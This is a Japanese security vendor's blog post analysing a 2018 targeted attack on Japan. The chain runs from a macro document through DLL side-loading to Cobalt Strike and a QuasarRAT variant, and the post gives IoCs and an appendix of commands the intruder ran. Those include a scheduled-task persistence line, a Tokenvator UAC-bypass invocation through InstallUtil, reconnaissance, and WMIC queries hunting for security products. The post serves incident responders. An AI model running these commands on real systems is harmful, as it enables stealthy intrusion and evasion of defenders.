« マルウェア解析奮闘記: コマンド実行のエラー文が日本語でないと動作しないマルウェア | メイン

2018年8月 1日 (水)

オープンソースツールを悪用する初期活動

弊社の脅威分析チームは、セキュリティ研究センターと連携し国内のセキュリティ対策向上の一助となるよう日本を標的とする攻撃者グループが使うマルウェア等のTTP(Tactics, Techniques, Procedures)を日々分析しています。

先月は、標的型攻撃と考えられるメールに添付されていたマルウェアを解析しました。その調査の中で1次RATに感染した後の攻撃者の初期活動を分析し、攻撃者がQuasarRAT等のオープンソースツールを使う事が分かりました。オープンソースツールを悪用する事自体は珍しい事ではありませんが、今回の調査では公開情報にないツールの使用も観測でき、分かった内容について解説をします。

Fig1_3

図1. 今回観測した攻撃の概要図

メール配送されたdocファイル

このdocファイルは、マクロを含んでおり有効にすると外部よりファイルをダウンロードします。ダウンロードするURLでは” 20180703191211.png”となっていますが、実際はRTFファイルで、%temp%¥~$temp.rtfとして保存し実行します。

Fig2

図2. doc ファイル

RTFファイルには、PEファイルが埋め込まれており実行されると%temp%配下に

K7SysMon.Exe、K7SysMn1.dll、kfois.hfdをドロップします。これらのファイルをドロップするのにOffice系アプリケーションの脆弱性を悪用していると考えていますが、本記事の執筆時点では具体的な脆弱性を特定できていません。

マクロ側でRTFファイルを実行した後は、RTFファイルがドロップした3つのファイルをC:¥USERS¥PUBLIC¥AppDataにコピーします。その後、%temp%にあるRTFファイル、ドロップしたファイルを削除します。

ASEP(Auto-Start Extensibility Point)として、K7SysMon.exeを起動するスケジュールタスクをcmd.exeもしくはpowershell.exeで登録します。

実行コマンド

schtasks /create /tn Winhelper /tr ""c:\users\public\appdata\K7SysMon.Exe"" /sc DAILY /f /RI 10 /du 24:00 /st 00:01"

Fig3

図3. docファイルに含まれているマクロ(一部抜粋)

起動されるK7SysMon.exeは、K7 Computing 社の正規プログラムで電子署名が付与されています。このファイル自体はロードするK7SysMn1.dllのStartSystemMonitor関数をコールさせるだけの目的で使われています(DLL Side-Loading)。StartSystemMonitor関数の中で同一ディレクトリにあるkfois.hfdが読み込みこまれてコードを復号し、メモリ上で実行します。メモリ上では、Cobalt Strike BeaconがダウンロードされてC2サーバとHTTPS通信を行います。

 

Cobalt Strike BeaconダウンロードURL: https://91.235.129[.]180/WRJi

C2サーバ: 91.235.129[.]180

通信先サーバは、自己署名証明書が使われておりCNには、wikipediaが指定されていました。これは、LAC社がブログで公開している解析内容[1]と一致しています。

Fig4

図4. C2サーバの証明書

足場固め後の初期活動

今回の調査の過程で、1次RAT (Cobalt Strike Beacon)が設置された後の攻撃者による初期活動を確認する事ができました。 観測できた攻撃者側で実行したコマンドは、Appendixにて掲載していますが、攻撃者側のオペレータは、まず下記2つのファイルを送り込んでいます。 

・UninstallPersistSqlState.sql.man (.NET アプリケーション)

・UIAutomationTypes.dll.uninstall (暗号化ファイル) 

UninstallPersistSqlState.sql.manは、32bitの.NET Frameworkのアプリケーションで公開されているツールConfuserEXをベースに難読化されている事が分かりました。UIAutomationTypes.dll.uninstallはAESで暗号化されているファイルで、UninstallPersistSqlState.sql.manが起動後に読み込み復号しメモリ上に展開します。

Fig5

図5. UninstallPersistSqlState.sql.manのコード

Fig6

図6. ConfuserExで難読されていることを⽰す箇所

オペレータは、下記コマンドでUninstallPersistSqlState.sql.manを起動しています。

tok.exe bypassuac C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /LogFile= /LogToConsole=false /u C:\users\public\appdata\UninstallPersistSqlState.sql.man

tok.exeは、ペネトレーションテストでの利用を想定している公開ツールTokenvatorで、UACバイパスを行いシステム権限で起動するために使われています。また、InstallUtil.exeは、.NETアプリケーションをサービス起動するために提供されているマイクロソフト社のツールです。サービスアンインストールを指定する/uオプションが付与されていますが、実際はアンインストール処理の中で新たにInstallUtil.exe /runオプションを付けてUninstallPersistSqlState.sql.manが実行されます。これは、起動する処理をアンインストールオプションで包む事によりセキュリティ製品の検出を回避するための工夫ではないかと推測しています。

実行後に展開されるコードは、オープンソースツールのQuasarRATと共通する部分が多く見られ、これをベースに開発したものと考えています。

Fig7

図7. メモリ上に展開されたコードとQuasarRATとの類似部分

Fig8

図8. メモリ上に展開されたコードとQuasarRATで共通しているnamespace

興味深い点としては、通常のQuasarRATにはない部分としてoutlook.office365[.]comにHTTPS接続を行い正規サイトへの接続ができないと、C2サーバへ接続に行かない事です。これは、サンドボックス回避の意図も考えられますが明確な理由については特定できていません。また、公開されているQuasarRATには見られないDoPluginクラスが追加されており攻撃者が独自にPluginを追加できる処理を実装したと推測しています。

Fig9

図9. office365に接続する処理

このRATを使い内部情報を収集してきますが、そこでも公開ツールのnbtscan(今回の攻撃では、"nbt"にリネームして使用)を使いLAN内のWindows NetBios名の一覧を収集する活動が見られました。

 

今回の攻撃では、外部からの追加ファイルのダウンロード、C2サーバとの通信の多くがHTTPSで行われており、ネットワークセンサーだけでは検知が難しくEDR等を用いてエンドポイント上の挙動をモニタリングする重要性を改めて感じました。

侵入後の初期活動でオープンソースツールを使う理由は、匿名性以外にも検出の回避やオペレータ(少なくとも初期活動に従事する)のスキルがそれほど高くなくとも行えるようにしている可能性もあると考えています。今回、オペレータがTokenvatorのhelpオプションで内容を確認している操作も見られました。

また、JPCERT/CCからCobalt Strike Beaconをメモリ上から検知するVolatility Pluginが公開[2]されています。このツールは、今回のようなCobalt Strike Beaconを悪用する攻撃の分析で、非常に有用であると考えています。

本記事の内容が、少しでも分析・インシデント対応をされる方々のご参考になれば幸いです。

Indicators of Compromise

File

配送されたdocファイル
SHA256: 1637cde7a32cfa8de3556eebfe1246174744b790aca0f4ed0dbd5a4311678f5d

File name: ~$temp.rtf
SHA256: 5a413aa8c1dbb38b4f95d94a1a563637c237508ee31e71844fb42c5ccd2003aa

File name: K7SysMon.exe (正規)
SHA256: 9722976c2b1156474df5aaf4aa2708a8d15873fb6148604ac647d651ea8a2fbe

File name: K7SysMn1.dll
SHA256 d0effd3711e753fe5b14bd93be4b7b8fd95c87dce03f51cd5038d3d743fced40

File name: kfois.hfd
SHA256: 66bbeeec7eb98c3e4b8180b8caf3285f6c5f86e883b608087b4c19d6c9d94cd0

File name: UninstallPersistSqlState.sql.man
SHA256: 28e471b40d54d397dbacc2555abe94e0a0c8285bdfd78980af21882ac482135b


File name: UIAutomationTypes.dll.uninstall
SHA256: 2accb69d13ae8e05fd95fdde86d8841b10fff35732fe11232e21f80713d6027d

File name: tok.exe (Tokenvator)
SHA256: 6f1a23e8a5d4a80a1f81aa234ee523b1a2ea8b2bd07f082c9bc9c924889a160a

File name: nbt (nbtscan)
SHA256: c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e

Network

https://www.<redacted>[.]com/image/news_collection/20180703191211.png 
https://91.235.129[.]180/WRJi
fumiyuki.gleeze[.]com:443
5.149.248[.]17:443

Appendix  オペレータが実行したコマンド

C:\Windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /LogFile= /LogToConsole=false /u C:\users\public\appdata\UninstallPersistSqlState.sql.man

"cmd" /K 

net  config workstation 

net  view 

ping  -a  <IP Address> 

tasklist 

whoami 

net  localgroup administrators 

whoami  /all 

findstr  /i level 

netstat  -no 

ipconfig  /all 

net  user Administrator 

reg  query HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs 

reg.exe  query "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs" 

reg  query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths" 

tasklist 

findstr  /i install 

tok.exe bypassuac C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /LogFile= /LogToConsole=false /u C:\users\public\appdata\UninstallPersistSqlState.sql.man

tok.exe  help 

tok.exe  List_User_Sessions 

tok.exe  Find_User_Processes <host name> 

C:\Windows\system32\cmd.exe /c reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop|findstr REG_DWORD 

reg  query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop 

findstr  REG_DWORD 

C:\Windows\system32\cmd.exe /c reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin|findstr REG_DWORD 

reg  query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin 

WMIC  Process Where "Caption Like '%hpe%' OR Caption Like '%tan%' OR Caption Like '%sysmon%' OR Caption Like '%endpoint%' OR Caption Like '%falcon%' OR Caption Like '%cb.exe' OR Caption Like '%almon.exe' OR Caption Like '%cylance%' OR Caption Like '%avguix%' OR Caption Like '%ragent%' OR Caption Like '%xagt%' OR Caption Like '%defend%' OR Caption Like '%sgnmaster%' OR Caption Like '%swc_%' OR Caption Like '%swi_%' OR Caption Like '%SAVAdminService%' OR Caption Like '%SISI%'" Get Caption,ExecutablePath 

WMIC  Process Where "ExecutablePath Like '%receptor%' OR ExecutablePath Like '%FireEye%' OR ExecutablePath Like '%Sophos%' OR ExecutablePath Like '%Avecto%' OR ExecutablePath Like '%Sysmon%' OR ExecutablePath Like '%CarbonBlack%' OR ExecutablePath Like '%Tanium%' OR ExecutablePath Like '%Security%' OR ExecutablePath Like '%Fidelis%' OR ExecutablePath Like '%CrowdStrike%' OR ExecutablePath Like '%Symantec%' OR ExecutablePath Like '%AVG%' OR ExecutablePath Like '%AntiVirus%' OR ExecutablePath Like '%Trend_Micro%' OR ExecutablePath Like '%Kaspersky%' OR ExecutablePath Like '%Avira%' OR ExecutablePath Like '%ESET%' OR ExecutablePath Like '%F-Secure%' OR ExecutablePath Like '%PCPitstop%' OR ExecutablePath Like '%ESTsoft%' OR ExecutablePath Like '%DrWeb%' OR ExecutablePath Like '%K7_Computing%' OR ExecutablePath Like '%AVAST%' OR ExecutablePath Like '%Mcafee%'" Get Caption,ExecutablePath 

tracert  bing.com 

ping  -a -n 1 <IP address> 

nbt  <Network address>/24 

query  user 

wmic  product get name,version 

reg.exe  query HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall 

reg.exe  query HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall 

cmd.exe /C systeminfo 

cmd.exe /C set 

参考情報

https://www.lac.co.jp/lacwatch/people/20180521_001638.html [1]
https://www.jpcert.or.jp/magazine/acreport-cobaltstrike.html [2]

« マルウェア解析奮闘記: コマンド実行のエラー文が日本語でないと動作しないマルウェア | メイン

Macnica Networks Corp.
セキュリティ研究センター

サイバーセキュリティに特化した研究を行うことを目的に2013年4月に開設。

■ミッション

・Threat Research

・Solution Research

・Education
 

小林 靖幸
マルウェアの動的解析と培養を担当。温和な見た目とは裏腹に、休日は鋭い眼光でサイバー空間の監視を行う一人SOCで活動中。好きなデバッガーはx64dbg。

竹内 寛
リバースエンジニアリング(マルウェア解析)を担当。彼の手に渡ったマルウェアはまさに“まな板の上の鯉”と同じ。あとは解析されるがまま。最近の楽しみは、ハイボールを片手に海外ドラマを鑑賞するか、マントノン侯爵夫人に会うこと。好きなマシン語は、EB FE。

柳下 元
リバースエンジニアリング(マルウェア解析)を担当。動的解析では動いてくれないマルウェアの皮を一枚一枚剥がしていく職人技が持ち味。

凌 翔太
CTF、IoTハッキング、マルウェアペンテストツールの開発を担当。Black Hat/DEF CONにてツールを発表。セキュリティキャンプ講師、SECCON実行委員。

政本 憲蔵
インフラ分析とOSINT分析を担当。
Back Orifice/NetBusの時代からRATに興味を持ち現在に至る。好きなことはMaltego Transformの開発とレゴブロック。

BlackHat